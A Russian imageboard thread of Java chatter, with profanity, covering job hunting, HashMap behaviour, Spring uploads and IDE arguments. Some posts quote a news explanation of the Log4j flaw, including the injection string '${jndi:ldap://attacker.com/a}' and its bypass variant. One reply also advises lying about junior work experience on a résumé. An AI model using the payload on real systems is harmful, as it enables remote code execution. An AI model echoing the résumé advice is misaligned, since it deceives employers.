>>2236677 Если доебаться по максимуму: 1. Нахуя ты сохраняешь "одноразовые" значения в переменные, если ничто не мешает их тупо заинлайнить? 2. Нахуя ты юзаешь форму x = x + А если есть прекрасная x += А? 3. Сильно не вникал, но уверен что сущность "coin" там нахуй не нужна, она какой-то промежуточный контейнер для хранения какого-то частного от деления чтоб потом это все сложить. Бред пиздец. Что тебе мешает просто сложить все "доллары" и поделить на n? 4. Всякий раз, когда тебе лень ебаться с грамматической нормализацией формы вывода, делай что-то вроде "Средняя цена покупки ордера (%N% шт.)". Тогда не будет хуйни вроде "за 8 часа я прошел 7 километр" 5. Не пили логику в мейн. Делай метод-экстракт. Хотя сразу видно что это не рабочий прожект, так что это доебка 6. Дрочить на float вместо double, во имя какой-то там экономии - сомнительные анальные пляски. Чревато это тем, что многие библиотеки работают с double, и когда все это начнет мешаться, у тебя всюду будут заебывающие тайп-касты.
Что важно знать при формировании стратегии поиска:
Традиционно, самые дорогие Java разработчики сидят в финтехе. Несмотря на высокие зарплаты, вам могут попасться джависты из финтеха с довольно низкой квалификацией. Причина в том, что в некоторых финтех компаниях разработчики могут делать минорные фичи и делать их в стол, профессиональный скилл при долгой такой работе может деградировать. Более низкие зарплатные ожидания у джавистов из интеграторов и энтерпрайза. Java — язык, куда многие хотят попасть. Количество джунов в профессии растет. Это хорошо и плохо одновременно. Плохо, потому что часть выпускников скоростных курсов знают только Spring и не могут написать "Hello world!" без запуска IDE.
>>2237290 Я наоборот нихуя не знаю кроме пуре-джавы, особенно спринг. Последствия самовката. Сомневаюсь что это может быть плюсом, лол. Уж лучше наоборот
>>2237294 Ну бывают иногда слышу про мемные истории, как вкатун после курсов пришел на собес и не знает, что такое цикл for, хотя имеет несколько петпроджектов со спрингом на гитхабе.
Как много вакансий генерирует Сбер? Реально устроится джуном-стажером в ДС, при этом обойдя эту контору стороной? Я понимаю, что в сбере тоже есть крутые команды, но как показывает практика, почти все знакомые джуны, которые туда попали, в итоге оказались в говнокомандах, после чего увольнялись и не могли себе найти нормальную работу. Я не только про джавистов говорю, а вообще про всех - мл, дс, js, java.
>>2237325 Потому что такой прожект любая обезьяна может накидать с уроков на ютабчике. Особенно легкий путь это спиздить репозиторий автора и тупо переименовать там все.
>>2237329 Чтобы оно заработало после того как накидать, надо сначала разобраться. Чтобы переименовать осмысленно, надо сначала разобраться. Так то, вкатунишка!
>>2237334 >вкатунишка себе что ли сказал, клован? >Чтобы оно заработало после того как накидать, надо сначала разобраться. Разобраться как нажать кнопку run в идее? Че несет вообще охуеть. Самооправдания долбоеба который именно так и вкатывался незаменты.
>>2237336 Я вкатывался пять лет назад в микрогалеру в мухостранске без всяких петов. Основы жс и пхп изучил по срачам на форумах и бордах. Повезло то что галера пилила тырпрайз, а не визитки.
А вот ты написал бред и теперь его защишаешь. Если челик просто клонирует чужу репу, его легко поймать на этом с пары вопросов в разговоре. Если же его никто не спросит, то значит компанию беспокоят не уровень знаний, а цена найма.
>>2237339 >А вот ты написал бред и теперь его защишаешь Я просто написал единственный сценарий, по которому, кмк, может возникнуть ситуация, что ты пришел яко бы со спринг-стеком, но при этом испытываешь проблемы с пониманием циклов. Может ты что-то спутал, но я не говорю что это типа нормально, я просто так отреагировал на то высказывание что можно на серьезных щах прийти на собес по джаве+спринг не зная циклов
>>2237347 Да тут все твои друзья, приходи. Олсо, просрано важное, чего коснулся этот >>2237045 анон. 7) Надо проверять что у тебя не будет деления на ноль. Это не так страшно, если ты юзаешь результат только для вывода в консоль (будет NaN), но как только ты такой double решишь как-то использовать где-то, где никакой NaN быть не может, у тебя все развалится прямо в рантайме
>>2237463 Стандартный файл это репрезентейшен файла в ОС, можно сказать, таких его свойств как имя, директория, доступность и прочее. Само содержимое можно получить в виде т.н. "потока" - такая хуйня которая может "читаться" в направлении от начала к концу и "заканчиваться". Так вот поток создается как отдельный объект отдельного класса, в конструктор которому ты передаешь file (ну либо тупо адрес, там разные конструкторы). После этого ты можешь из потока читать побайтово (либо посимвольно, если хочешь воспринимать это как текстовик, либо построчно, в зависимости от типа потока, которых там дохуища, например FileInputStream)
Правильно я понимаю, что суть уязвимости log4j это аоп, на котором работают логеры и использование jndi для приема данных? То есть совмещение двух технологий для универсализации привели к большому пиздецу.
>>2237829 >>2237830 Объясните ньюфагу дебилу суть уязвимости. Лезет в сеть в каком смысле? Я думал эксплуатирования уязвимости в том, что ты шлешь хттп со строчкой где есть jndi и потом уже log4j там отсылает все что попросишь?
>>2237833 >У нас на проекте клиент шлёт SQL-запросы серверу через HTTP без шифрования Мы тоже так делали, это хорошее, гибкое решение! правда это было в 2004 году и система использовалась только в локальных сетях без доступа к интернету
>>2238150 А как же! И некоторые процедуры были на джаве Оракл такое позволяет. А гуй был веб + аплеты. Тогда можно было любую дичь творить, хоть с VB приложухой через ActiveX и JACOB конектиться.
>>2237855 Проблема была вызвана тем, что Log4j 2 поддерживает обработку специальных масок "{}" в выводимых в лог строках, в которых могли выполняться запросы JNDI (Java Naming and Directory Interface). Атака сводится к передаче строки с подстановкой "${jndi:ldap://attacker.com/a}", при обработке которой Log4j 2 отправит на сервер attacker.com LDAP-запрос пути к Java-классу. Возвращённый сервером атакующего путь (например, http://second-stage.attacker.com/Exploit.class) будет загружен и выполнен в контексте текущего процесса, что позволяет атакующему добиться выполнения произвольного кода в системе с правами текущего приложения.
>>2238396 Минимальный интервал который может быть выражен или померян.
Например гранулярность currentTimeMillis() под виндой около 15 мсек, т.е. если вы цикле дергать currentTimeMillis() и сравнивать значения, то у тебя будет не 1, 2, 3, 4 как можно было бы ожидать, а 1, 16, 30, 47.
>>2232299 >Нужно быть душевнобольным хуесосом без малейшей симпатии к программированию, чтобы в 2022 писать на жабе
so wat. Один из самых популярных и востребованных языков. Но каждый хуесос из пятогоб э начинает рассказы про то какой он ПИТОНОБОГ вкатился вайти за 3 месяца и зарабатывает лярд грина в наносекунду.
>>2238472 И? Буду только рад если начнут использовать тот же go внутри компании. Привязываться всей айти инфраструктурой к 1 платформе это путь долбоебов в независимости от языка.
Массив хранит данные в непрерывном фрагменте памяти. Допустим, у меня есть класс A и класс B, который расширяет A. class A { protected int a; }
class B extends A { private int b; }
Потом создаю массив: A[] a = new A[2]; a[0] = new B();
Как вообще можно в таком случае выделить непрерывный кусок памяти, если его размер не может быть известен заранее? Или в случае объектов только ссылки на них располагаются в непрерывном участке памяти, а сами объекты уже нет?
>>2238472 >доверие к жабе всё равно подорвано у мирового сообщества разработчиков и предпринимателей Подорванный ты наш, напомни сколько там было багов из-за переполнения буфера в программах на С/с++?
В паметризованном классе с параметром типа Т нельзя создать массив Т[] только потому, что в рантайме T стерт на Object и нельзя проконтролировать никак, является ли то, что мы помещаем в массив, объектом типа T или есть еще какие-то причины?
Как после вката в ждуны выбрать свою нишу в жабе? Мне и цветных чертей в браузере нравится двигать и в кишочках хибернейта ковыряться. Но ведь 90% жабы это сервера и банки, банки и сервера. Значит есть смысл упарываться только суровым бэкендом. Или можно забить хуй и развиваться равномерно по настроению?
Анон где можно практически прокачать знания многопоточности и JUNIT . Видел выше кидали курс на степике где можно было прокачать знания по стримам. Мб и на эти темы что то есть.
Есть работяги? Скажите пожалуйста какие задачи дефолтно выполняете, какие интересные моежете выделить или сложные ? На позиции мидла. Я на говноголере в мухосрани выполняю дефолтные штуки. Контроллеры пишу, дао, сервисы, тесты, чаще что-то исправляю. Но в тех же местах. Спасибо!
>>2238621 Да просто собираюсь переехать в мск и вот скоро начать ходить(миит) на собесы.Сначала прохожу из своей мухосрани потом понаехаю. Хочу устроиться в сбер, ходить в офис и жить жизнь. Часто спрашивают, а что интересное делал, у меня интересного "код наплакал".
>>2238653 Ну епта я не такой долбоеб чтобы нихуя не гуглив задавать вопрос тут и надеяться на анона. Гуглил, пытался тут что-то нахуевертить, но сука даже в примерах нет ничего связанного похожего
>>2233170 А есть что-то конкретно про хибернейт? Я уже писал свои вкатышепеты на жаве и рест контроллеры всякие писать проблем не было, так же нет проблем с сиквелем(60 задач на sql-ex), но конкретно с работой с бд через орм проблемы, как все эти связи оформлять и прочее.
Удалите уже этот тред, поясняю: 1) C# лучше. 2) Бэк уже начали переписывать на го. 3) Когда выйдет мультиплатформа котла, то весь бэк будет переписан на котлин, ибо мобилки это сфера убивающая веб, как когда-то веб десктоп, а единая бизнес логика это просто экономия 9000 часов времени, а значит и денег кабана. Java труп, без преувеличений, новые сервисы пишутся на том же котле, а джээва шлак просто лежит и ждёт когда его перепишут. И его перепишут.
>>2238650 Скорее всего, такого не будет. Ты можешь делать таску раз в 10 минут на тридцатую секунду, но никак не с интервалом в 10:30 ScheduledExecutorService
>>2238556 C++ статический язык, поэтому там темплейты реализуемы достаточно легко. В Java у тебя классы грузятся динамически или вообще генерируются - поэтому максимум что можно сделать в Java - это Generic Specialization.
В принципе конечно можно и темплейты реализовать, но это надо весь темплейт энджин засунуть в рантайм и непонятно как избежать разных побочных эффектов со всякими ссылками на другие классы или темплейты которые еще не были загружены.
> В реализации подстановок JNDI в библиотеке Log4j 2 выявлена ещё одна уязвимость (CVE-2021-45046), проявляющаяся несмотря на добавленные в выпуск 2.15 исправления > Обход защиты сводится к тому, что вместо прямой подстановки "${jndi:ldap://attacker.com/a}", данное выражение подставляется через значение промежуточной переменной, используемой в правилах форматирования вывода в лог. Например, если при выводе в лог используется контекстный запрос ${ctx:apiversion}, то атака может быть проведена через подстановку данных "${jndi:ldap://attacker.com/a}" в значение, записываемое в переменную apiversion. это смешно джава мартыханы разучились программировать
Я правильно понял, если заставить логгер залогировать любую строку где хоть где-то есть паттерн, то можно загрузить любой класс извне, и выполнить его, если да, то они ебанутые? Т.е. шлем любые невалидные данные на север с паттерном, он логируется, эксепшен же хули, и доступ обезьяной к серверу получен? Это так просто? Они ебанутые?
>>2239160 >то атака может быть проведена через подстановку данных "${jndi:ldap://attacker.com/a}" в значение, записываемое в переменную apiversion. А как это сделать внешнему атакующему?
Дочитал Шилдта до 500 страницы. Не могу решить самые первые задачки на codingbat из раздела разминки. Читаю условие, перевод понимаю, но тупо не понимаю, что мне нужно сделать. Со мной всё ок или мне сразу пенсию по умственной инвалидности оформлять?
>>2239205 Просто срать, везде где есть инпут от юзера, если в приложении был этот дырявый логер то он все исполнит. >>2239221 Думаю да, эта хуйня aws положила второй раз
>>2239239 >Просто срать, везде где есть инпут от юзера, если в приложении был этот дырявый логер то он все исполнит. Ты хоть обосрись, но ${ctx:apiversion} ты так не поменяешь.
>>2239232 Да ок, выучить язык программирования ещё не значит научиться алгоритмически мыслить. Пытайся ещё решать какие-нибудь совсем простые задачи, пиши программы для себя, и всё придёт.
>>2239286 >алгоритмически мыслить Разве такое надрочить получится, я если даже и дойду до первых собесов, то пуская слюни в слезах убегу при первой же задаче от hr. Прям руки опустились, вроде бы нашёл дело, которое мне нравится, но обидно осознавать, что оно мне так плохо даётся. В любом случае, спасибо за поддержку.
>Роб Харроп Spring 5 для профессионалов Нормальная книжка чтоб вкатываться? Если я почти полный ноль в спринге. Знаю что стандартом литературы по теме является "Спринг ин экшон", но мой английский не настолько пиздат чтоб я осилил ее в оригинале за короткое время, а хотелось более менее въехать, а потом уже можно и дотянуть.
>>2239714 Ну, вопрос-то в другом был. Если кто-то читал то самое, оценить его годноту. Если оно достаточно качественное то может уоллс и не понадобится
Пиздос, часто смотрел собесы, где говорили что алгоритмы в принципе ни где не пригодятся, а щас увидел видос, чел попал в Яндекс, а потом в FAANG, и говорит что ничего кроме решения алгоритмов не важно, даже похер что не знаешь как работает промышленное программирование итд за индустрию в целом, главное алгоритмы. Ну челик ща получает 300к $ в год, найс че.
>>2239847 от уровня решаемых тобой задач зависит. Если ты просто мартышка которая круды стряпает для очередного магазина резиновых дилдаков, то алгоритмы не нужны. Если ты занимаешься программированием фундаментальных вещей типа движков каких-то технологий - то это действительно главное, и это очень дорого стоит. Из этого можно сделать вывод: для 99,5% верно то что алгоритмы вторичны, а макакинг первичен, для остальной половины процента, которые для макак собственно строят галеры, верно то что сказал тот типчик 300к/нсек
>>2239855 Но в фаангах же тоже есть таски с теми же самыми крудами и формочками. Наверно даже есть такие работники, кто только этим и занимается. Но ебут алгосами всех.
>>2239633 > соответствовать всем бестпрактикам. Ну хоть валидатор жаба кода есть, которым можно ебать на собесах, проверит хоть пришел ли тебе через логирование валидный байткод из Китая
>>2240003 На хайп адекватным людям похуй, кому надо, тот просто пишет на котлине, и такого вокруг все больше, никуда не исчезает. Просто как первый попавшийся пример - тут кто-то недавно бегал со стажерским тестовым заданием в райффайзен. Так вот, у них там котлин, и задание самом можно было писать и на котлине.
>>2239847 >даже похер что не знаешь как работает промышленное программирование итд за индустрию в целом
Ну если для стажера и какого-нибудь джуна такое прокатит, то на более высоких должностях тебя попустят на System Design.
>>2239847 >челик ща получает 300к $ в год А смысл получать 300к долларов в год, сидя в bay area, где это будет довольно посредственной зп с которой будешь в 0 уходить. Примерно как 70-100к рублей в месяц в России (предполагаю, что своей недвиги нет, и на 70к рублей ты снимаешь в Москве однушку за 40к, а в bay area платишь моргидж)
Как в мапстракте сделать конверсию, когда в одном классе есть какое-то поле, которое надо смапить на другое поле, которое в другом классе завернуто в объект, поле которого объявленос типом интерфейса?
>>2240024 Перестал учиться хоть в 30+ - через какое-то время пойдешь нахуй из профессии, либо таки научишься либо продолжишь галерить на пятой джаве за копейки.
Когда поменяют названия версий джавы? JDK 17 - ну куда блядь. Каждые полгода выпускать, так мы через годик уже придем к JDK 33. Нахуй такие большие цифры?
Жаба все равно никогда не укатится с мажорной версии. В этой цифре 1 просто нет смысла, поэтому ее убрали. Посмотрите на версии ядра линукса, там такая же хуета была, пока не заебались решать что мажор, а что минор, потому что каждую версию что-то выпиливается и добавляется и ломается. И многие продукты сделали тоже самое. В андроеде тупо счетчик например. Особенно смешно выглядят либы с версиям 0.0.Х просто лол. Положняк по версиям такой - год[.месяц[.день]][-ревизия] - счетчик - всё остальное - тупо лишние сущности от первокуров
Почему уже вышла 17 версия жавы, а в дистрибутивах линупсов до сих пор раздают как актуальную 11 версию? Скачал и поставил 17 версию, а команда: java - version всё равно говорит, что у меня 11 версия. Что я делают не так?
>>2241818 > Почему уже вышла 17 версия жавы, а в дистрибутивах линупсов до сих пор раздают как актуальную 11 версию? Просто 11-я это LTS > всё равно говорит, что у меня 11 версия. Что я делают не так? Значит в твоем окружении переменная PATH смотрит в bin 11-й версии.
>>2241929 Там в /usr/bin есть symbollink на эту 11 версию. Ни каких PATH там нет. Я думал в линупсах по уму сделано, а на деле рукожопство похлеще, чем на винде.
Уже третий месяц пытаюсь посмотреть лекции с отуса. Половину лекторов слушать невозможно. Один постоянно тормозит и как будто наполовину спит, а второй шепелявит и заикается. Такое ощущение, что их подбирали специально, чтобы сложнее было материал воспринимать.
Дравия желаб!1 Товарищи деды, когда можно начинать искать рабiтку джава подсосером (джуном)? По джавке - сериализацию скоро допройду. Потоки, коллекции, кор знаю. Паттерны тож скоро закончу, одиночка строитель кушал и писал уже дэбилокод для практики так сказать. Sql кушаю активно, ex-sql пока 27 задач. Думаю, что после того, как закончу выше сказанное (для Sql задач 60 будет достаточно), мне надо будет покушать спринг и гит После чего искать работку. Правильно думаю? Или слишком мало? Заранее спасибо за ваше мнение
У меня друг - джуниор тоже с 0 знаниями залетел, а потом на испытательном сроке охуевал от жизни, ему давали столько инфы о разных фреймах, что по сути он сутками все учили. Хибернейты всякие, скл, спринг, джифрейм библиотеку заставили покушать прости господи... Ещё что то было этакое! А, докер вроде. Вот. И все в рамках месяца, но вроде сейчас уже раздуплился (3й месяц идёт его работы).говорит что на проект поставили. Вот и я чёт иногда думаю, что может просто взять и попробовать на дурака. Все равно фреймы всякие везде разные, и я так понял, что все равно первый месяц - два будут натаскивать под приколы фирмы, так сказать
Стажируюсь в местной конторе на джависта четвертый месяц, вроде худо бедно чето получается, но меня дико заебал сам проект и ментор, первое лютейшее тормознутое лагаси, а ментор просто странный чувак, вместо ответа на прямой вопрос по их легасиговну, для которого нет доков, отвечает шарадами, или смотреть код. В принципе я ему все таки благодарен, я за эти 4 месяца охуенно прокачал навык читать чужой говнокод, наконец то понял что вообще такое говнокод и почему никто не любит коряво написанное Легаси разбирать.
Короче вопрос, хочу съебать сразу на Джуна в другую контору какую нибудь, будут ли хоть какой-нибудь вес иметь слова, что я где-то там стажировался?
>>2242448 Выбери одну технологию, с которой больше всего соприкасался, разберись с ней получше и ври, что полгода джуном работал. В резюме для рекрутеров даже пару месяцев опыта сильно лучше чем 0, они очень тупо фильтруют.
Пацаны, ситуация такова - вкатун, год+ курса по жабе, кор, многопоточка, спринг и бд, по учёбе всякое делал(CRUD/REST хуйни, просто задачки "магазин/склад" и т.п.). Проходил собесы, делал тестовые - сами звали кабанчики, но естественно сук не хватает им моих знаний теоретических. Так вот куда легче всего из компаний вкатиц на удалёнку? Сам из Барнаула ебучего, тут пооткликался сам - тишина бля. Стажировки от банков - там херота какая-то, задачки олимпиадные про монетки и колу.
>>2242645 Так кроме банков и епама с бесплатной стажировкой на хз сколько месяцев и шансоми что в штат не возьмут никто удаленку на джуна/стажера на джаве вообще не предлагает. Иди на пыху в своем Барнауле. Или вали в нерезиновую, Питер или Казань. Ну или пытайся пробиваться через стажировки, где берут каждого десятого.
>>2242870 Кроме того, что он наглый инфоцыгынин и понтов было больше чем знаний даже в старых видосах, а сейчас по нему видно, что он уже кучу лет далек от продакшона. >>2242881 >Карамбейби топчик
Как правильнее всего передавать картинку на фронт через спринг бут в рестовой приложухе? Пока только нагуглил и , как отдельным запросом от сущности отправлять массив байт : @GetMapping(value = "/get-image-with-media-type", produces = { MediaType.IMAGE_JPEG_VALUE, MediaType.IMAGE_PNG_VALUE, MediaType.IMAGE_GIF_VALUE }) public @ResponseBody byte[] getImageWithMediaType() {} Еще про мультипарт вроде читал. И через base64 прямо в json.
>>2243020 Правильнее всего навернуть nginx, чтобы он раздавал картинки. Есть ещё метод addResourceHandlers в WebMvcConfigurer. Ну и байтики из контроллера
Форс шарпа это мем или бот какой то? Или просто поехавший? Года полтора сижу в треде и одно и тоже. Хотя заметил, что и вне харкача - в комментах на Ютубе или Хабре какой комментаторы вечно при разговоре про джаву без повода начинают эту хуиту про шарп лучше. Как будто промытые.
>>2243526 Причем реальные медийные шарписты естественно считают, что шарп лучше. Но вот этой шизы с моментальным триггером на упоминание джавы у них нету. Обычно это вкатунцы в шарпец так шизеют.
>>2243516 Не ну шарп и правда лучше, как язык. Говорю это как писавший много лет на шарпе и сейчас пишущий на джаве. Джава сейчас это как примерно шарп 2.0 15-ти летней давности.
>>2243544 > Не ну шарп и правда лучше Даже если шарп - лучший язык всех времён и народов, какое отношение его обсуждение имеет к жабе? Зачем в этом треде срать оффтопом?
>>2243550 Скажи, как ты это себе представляешь? Все на работе будут писать бэкенд, и только джунам дают задачки с кором, консолью м файликами за 50 строчек?
>>2242658 Я жабу хочу и денек зарабатывать) Ща в Андерсон тыкнулся, грят с Барнаула не нужны, часовой пояс не тот. Так и что, план откликаться на вакансии с Москвы, еси отзовутся, пройти собеседование и с кем нибудь ебашить в нерезиновую?
Почему так может быть? Раньше нормально было. В переменных среды установлено JDK_JAVAC_OPTIONS "-encoding UTF8". Шрифт Lucida Console, в повершелле то же самое, у сорс-файла кодировка UTF-8
>>2243630 Если нацелен на москвабад лучше всего вообще поменять в профиле город на него. Ну и мертвый сезон начался, привет. Еще недели 4 нет смысла ебать мозги насчет поиска работы.
>>2243943 Нет конечно, но до конца января я бы рыпаться не стал. Лучше вместо дроча хх подрочи жабу, спринг и хибер. Напиши петпроектик. Покушай салатик
26 летний жук плавунец на связи. Есть ли шанс вкатиться в ДС? Прогал на питоне и матлабе всякую десктопную хуйню 3 года, сам инженер из даунки. Или я уже слишком стар?
>>2243974 Есть. Учи java, maven, junit, sql, hibernate, spring(core/mvc/data/securty), html/css/js. Это наверно мастхев, полюс еще пару-тройку технологий по выбору. Если кодил на питухоне основы sql, html/css/js, mvc-паттерн должен знать.
>>2243266 >>2243269 >>2243353 Это методика Сергея Немчинского. Учишь новый язык 2 недели, чтобы понять плюсы и минусы и хочешь ли дальше на нём программировать.
>>2243275 JVM с разогретым кэшем обгоняет по тестам не только CLR, но даже скомпилированный код на С++.
Так то перед джавой я три дня изучал пхп, 5 дней питон, мне не зашло. Ну основы с циклами и бинарной сортировкой я на си с cs50 прошел. Когда заточил джвакор неделю посвятил андроеду. Не зашло. И потом взял спринг. Так что получилось по цыгану-немчинскому.
>>2243968 Спасибо за совет про город!) Про устройство понимаю, что конец декабря/январь все закрывают год и потом бухают/отдыхают. Теорию итак стараюсь сча читать и вникать. Сегодня с горя из-за отказа Андерсона вот пшенички набрал с сыром-косичкой, нахуярюсь. Какой пет писать? Хуйня по типу "добавлять/отдавать какие-ниудь товары и выводить их количество" есть на спринге, crud для файлов тоже есть, там даже всякие jwttoken'ы для авторизации через фронт.
>>2243275 >JVM в бане в любом приличном европейском айти бизнесе Диван спок. Как человек который в той самое европе и работает могу сказать, что сярп тут практически не распространен. Мейнстрим для бека жава, нода, го, чуть меньше питона. Весь крупный финтех это джава.
>>2244048 >но даже скомпилированный код на С++ Ты тут полегче, если обгоняет то херовый код на С++. Так-то у С++ больше возможностей для улучшения перформанса, но и ебли это требует больше.
>>2244405 Если ты про коллизии, поиск в бакетах идёт линейно через последовательный вызов equals(), а не через сравнение в каком-нибудь бинарном поиске.
Кто-то использует идею, без мышки и без стрелочек? Вот я недавно немножно задрочил 10-ти пальцевый метод и мне стало неприятно пользоваться мышкой и стрелками. По стрелкам мне посоветовали плагин емакса/вима или свои шорткаты придумать. А вот чтобы лазать по проекту, по плагинам с базой/мавеном, тулам с гитом/терминалом/етк вроде есть куча шорткатов. Это вообще удобно? На все что нужно есть шорткаты? Есть кто этим пользуется? Стоит игра свеч на заучивание шорткатов?
Алишева навернул целиком его плейлист по джава кор.
Если я могу делать то, что дано на скрине, значит тему коллекций я понял и могу дальше идти?
Вообще нихуя непонятно с этой практикой. Приходится весь интернет перекапывать. На codingbat ООП нихуя нет, на подобных сайтах тоже. codewars для отбитых задротов.
Постоянно хочется бросить всё это дело, потому что всё слишком хаотично, структуры изучения нет...Можете меня слать на хуй.
Вообще тема коллекций довольно обширная. Кто-то скажет, что если ты всё что на скрине написано умеешь, то ты понял коллекции. А кто-то скажет, что пока ты сам своими руками не напишешь имплементации популярных коллекций то ты нихуя не понял в этой жизни
Как таковых задач на ООП не существует. Можешь все классические паттерны в коде реализовать, вот тебе задачи на ооп
Анон подскажи как реализовать сохранение файлов на сервер. Если я их загружаю в папку ресурсов , то они подгружаются тольок после редеплоя томката. Как Сохранять сразу на сервер ?
>>2245386 Потому что ресурсы не предназначены для записи, только для чтения из собранного архива. С файлами работать по тупому, через FileWriter и прочие штуки из кора.
>>2245388 Дак а как мне их заставить отображаться в html коде. Там же путь до папки ресурсов ведет, где по идее пикчи лежат. Может можно настроить относительный путь как нибудь , что бы оно на серв в папку записывалось, а не в проект.
Сейчас вот так сохраняю.
img = new FileOutputStream("C:\\Users\\yranikus\\IdeaProjects\\fgjhfdj\\src\\main\\webapp\\resources\\images\\toilets\\" + jsonpoint.getName() + ".jpeg"); img.write(convertByte); img.close();
>>2245411 Тебе для чего? По хорошему тебе нужен слой файлового хранилища типа NFS. Папка ресурсов для другого предназначена. Если для себя, то ты же сам описал способ сохранения через FileOutputStream
Если при вставке в HashMap<A, Integer> hm происходит вставка var a = new A(); hm.put(a, 1); hm.put(a, 2);
то как карта понимает, что надо заменять значение? При первой вставке вычисляется хэш-код объекта а, и в массив бакетов по индексу a & (длина массива - 1) вставляется ссылка на бакет с этой парой (a, 1). При второй вставке снова вычисляется хэш код (то же самое число), но как карта без вызова equals() понимает, что надо заменять 1 на 2? В интернете пишут, что HashMap сравнивает значение, а не ссылки. Как она это делает без вызова equals?
public class Main { public static void main(String[] args) { Map<A, Integer> hm = new HashMap<>();
var a = new A();
hm.put(a, 1); hm.put(a, 2); } }
class A { @Override public int hashCode() { System.out.println("hashCode() is called"); return super.hashCode(); }
@Override public boolean equals(Object obj) { System.out.println("equals() is called"); return super.equals(obj); } }
Этот код показывает, что вызов equals не происходит. Что я понимаю не так?
>>2245473 >>2245536 Ребята, вы чего, не можете заглянуть в исходники? Там же всё написано 631 и 644 строка. В функции добавления в бакет в виде дерева по идее то же самое
В общем, думаю, что определился с Джавой. Плюсы: - обилие качественной литературы - реальная кроссплатформенность - язык довольно стабильный, поэтому можно учить даже по старым книгам
Минусы: - тип byte - знаковый (в каком больном мозгу возникла идея так сделать?) - сложность настройки платформы как для разработчика, так и для конечного пользователя - слабые десктопные библиотеки - отсутствие хороших бесплатных IDE - вакансии только на бэкенд
Как итог возвращаюсь обратно в сишарп и дотнет, поэтому что язык и платформа более перспективные, есть куча фреймворков из коробки, область применения покрывает всё прикладное программирование.
Задеплоил свой сайт на хероку и обнаружил что странички , на которых использовн таймлиф ,стали грузиться по 1.5 секунд. Прям заметна подгрузка. Таймлиф подгружает из бд поля. Вопрос в том это я такой говнокодер и хуйни написал , которая грузится тыщу лет. Или это хероку говно? Когда тестил на локалхосте такого не было.
>>2246552 Бесплатный хероку засыпает, если к нему не обращаться. И просыпается даже дольше полутора секунд. А так не особо тормозной. Плюс если ты там сделал хероку сервак, не европейский, а американский, который по умолчанию, то там задержка будет большая.
Пилю приложение для определенного города, нужно хранить улицы с привязкой к району. Стоит ли делать отдельную таблицу под районы или можно их хранить как перечисление? Как часто вообще добавляют новые районы в городах?
>>2246733 Как бы редко районы ни добавляли, эти данные нельзя хардкодить, они всегда должны тянуться из таблицы-справочника, а не быть частью модели данных, чтобы вообще никогда не надо было править код.
>>2246706 Там все функции вырезаны по сравнению с платной версией. Это просто обрубок, подачка от JetBrains. Тип, ладно, берите, нищуки, всё равно спиратите, но мы вам вырежем все важные фичи. Я вот просто ощущаю как мне плюнули в рожу.
>>2246158 1. Название функции говно, она делает совсем не то. 2. Вместо toString() надо делать collect() public static String distinct(String s1, String s2) { return s2.concat(s1) .chars() .distinct() .sorted() .mapToObj(Character::toChars) .map(String::new) .collect(Collectors.joining()); }
Ну или немного оптимизировано public static String distinct(String s1, String s2) { return s2.concat(s1) .chars() .distinct() .sorted() .collect( StringBuilder::new, (builder, i) -> builder.append((char) i), StringBuilder::append) .toString(); }
>>2246745 >Я вот просто ощущаю как мне плюнули в рожу. А ты предпочитаешь чувствовать член Сатьи в жопе? Это дерьмо даже в бесплатной версии требует заводить аккаунт и принимать соглашение, что майки иногда будут тебе присовывать, обещают неглубоко, на пол шишечки.
>>2246959 > Ну так качай там есть поддержка джавы Ты ведь в курсе, что убогая электронная недопараша вскод имеет примерно такое же отношение к божественной вижуалстудии, какое джаваскрипт имеет к джаве?
Зачем в CompletableFuture нужны методы типа thenRunAsync, thenApplyAsync помимо версий без *Async? Чтобы можно было исполнять этот этап в другом потоке (через другой экзекьютор)?
>>2246782 >>2246783 >>2246788 Нет поддержки спринга, а значит нельзя выучиться на профессионального джава разработчика, не заплатив.
>>2246959 В вижле доступны все фреймворки. В том числе и ASP.NET, который используется в реальной разработке. Регистрация бесплатная и получаешь полный доступ, а у жидбрейсов регистрация даёт только 30-дневную демоверсию.
>>2247383 В плюсах есть полный набор знаковых и беззнаковых типов, а также полноценная битовая математика, а в джаве всё в усечённом варианте. Тем более в плюсах я могу что угодно писать в память, беря на себя ответственность за последующую интерпретацию, а в джаве получу райнтайм еррор на лицо.
>>2247388 >Нет поддержки спринга, а значит нельзя выучиться на профессионального джава разработчика, не заплатив. В голос просто.
>В вижле доступны все фреймворки. В том числе и ASP.NET, который используется в реальной разработке. Используй все что хочешь, просто поддержка на уровне IDE ограничена. Но если ты такой безрукий ставь Spring IDE и ебись с ней.
>Регистрация бесплатная и получаешь полный доступ, а у жидбрейсов регистрация даёт только 30-дневную демоверсию. Наркоман что ли? У идеи комьюнити регистрация вообще не требуется, качай и ставь. А вот вижал параша комьюнити, без регистрации проработает 30 дней, а потом будь добр зарегистрироваться и отчитаться перед Сатьей хули ты там кодишь.
>>2247654 Редко. Сложно менторить, если чел застрял на чем-то то пройдет время прежде чем поймешь что у него проблема. Объяснять по слаку сложнее чем лично. Ну и вообще не понятно, сможет ли чел работать самостоятельно это же первая работа.
>>2247818 Так файл как раз без проблем принимается тем говнокодом. А вот объект не парсится, говорит, мол это строка. Причем вот файл + строки норм парсятся, а так нихуя.
>>2247842 А джесйон внутри мультипарта никак нельзя? Или что-то вроде этого сделать. Двумя запросами будет не очень. Там у картинки и объекта общая логика сохранения. Уж лучше попробовать просто перечислить все поля. Правда у меня потом внутри объекта-дто будут массивы, приходящие с фронта.
>>2247985 Ну какие нахуй костыли, ну какой из котлина особый уж ДРУГОЙ язык. В спринге в целом и особенно в реакторе/вебфлюксе давно уже есть специальные экстеншны под котлин, выглядит он как родной в вебфлюксе. Другое дело, что с альтернативами блокирующему jdbc пока все плохо, но тут и ktor не спасет.
>>2247995 Я с флюксом не знаком, но если он выглядит как rx, то это самые настоящие костыли в любом языке где появлялся этот рак. Тогда котлиновское structured concurrency реально лучше будет
>>2248001 Смысл именно в том, что флюкс в связке с котлином позволяет выкинуть всю эту уродливую реактивщину из кода и работать на корутинах, так же как ktor
Щас подключил к своему рабочему проекту и увидел 44 предупреждения, из которых 25 крит и 11 мажор, кек. А ебаный автор либы в триал версии скрывает описание предупреждений The optimization event description is hidden in the Trial Version. If you want to know what performance-related problem has triggered this event, you need to purchase the product
>>2248220 Пробовал, не помогло. И в mime-типы ещё туда-сюда выставлял над методом и на фронте. Точно увидел что так можно, когда гуглил. Файл + объект. Только в тех примерах фронта не было. Наверно он по другому реализован.
>>2247379 >Как хранить в джава массив байт? byte[] arr = new byte[10];
